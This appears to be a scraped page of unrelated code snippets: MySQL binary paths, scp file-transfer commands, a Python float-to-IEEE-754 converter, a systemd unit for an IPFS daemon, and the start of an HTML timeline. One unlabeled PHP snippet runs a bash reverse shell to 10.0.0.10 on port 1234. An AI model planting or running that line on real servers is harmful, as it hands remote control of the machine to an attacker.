Help with SQL commands to interact with a MySQL database
- Mac /usr/local/mysql/bin
- Windows /Program Files/MySQL/MySQL version/bin
- Xampp /xampp/mysql/bin
| // Must not be already connected to ssh session | |
| // ubuntu = server username | |
| // Get file from remote server | |
| scp -p [email protected]:/home/ubuntu/file_to_get file_name_when_get_locally | |
| // Send file to server from local | |
| scp -p /path/file_to_send [email protected]:/home/ubuntu/dir_to_save | 
| <?php | |
| exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); | 
| import struct | |
| def float_to_iee754_32bit(x): | |
| # !f = single-precision floating-point number bin | |
| # !I = unsigned 32-bit integer (0x00 = 0) | |
| binary = struct.unpack('!I', struct.pack('!f', x))[0] | |
| out = "{:032b}".format(binary) | |
| print("\nSign") | |
| print(out[0], end="\n\n") | 
| [Unit] | |
| Description=ipfs daemon | |
| [Service] | |
| ExecStart=/usr/local/bin/ipfs daemon --enable-gc | |
| Restart=always | |
| User=ubuntu | |
| Group=ubuntu | |
| Environment="IPFS_PATH=/home/ubuntu/ipfs/data" | |
| [Install] | |
| WantedBy=multi-user.target | 
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <title></title> | |
| <meta name="viewport" content="width=device-width, initial-scale=1"> | |
| <style type="text/css"> | |
| .timeline { | |
| margin: 0 auto; | |
| width: auto; |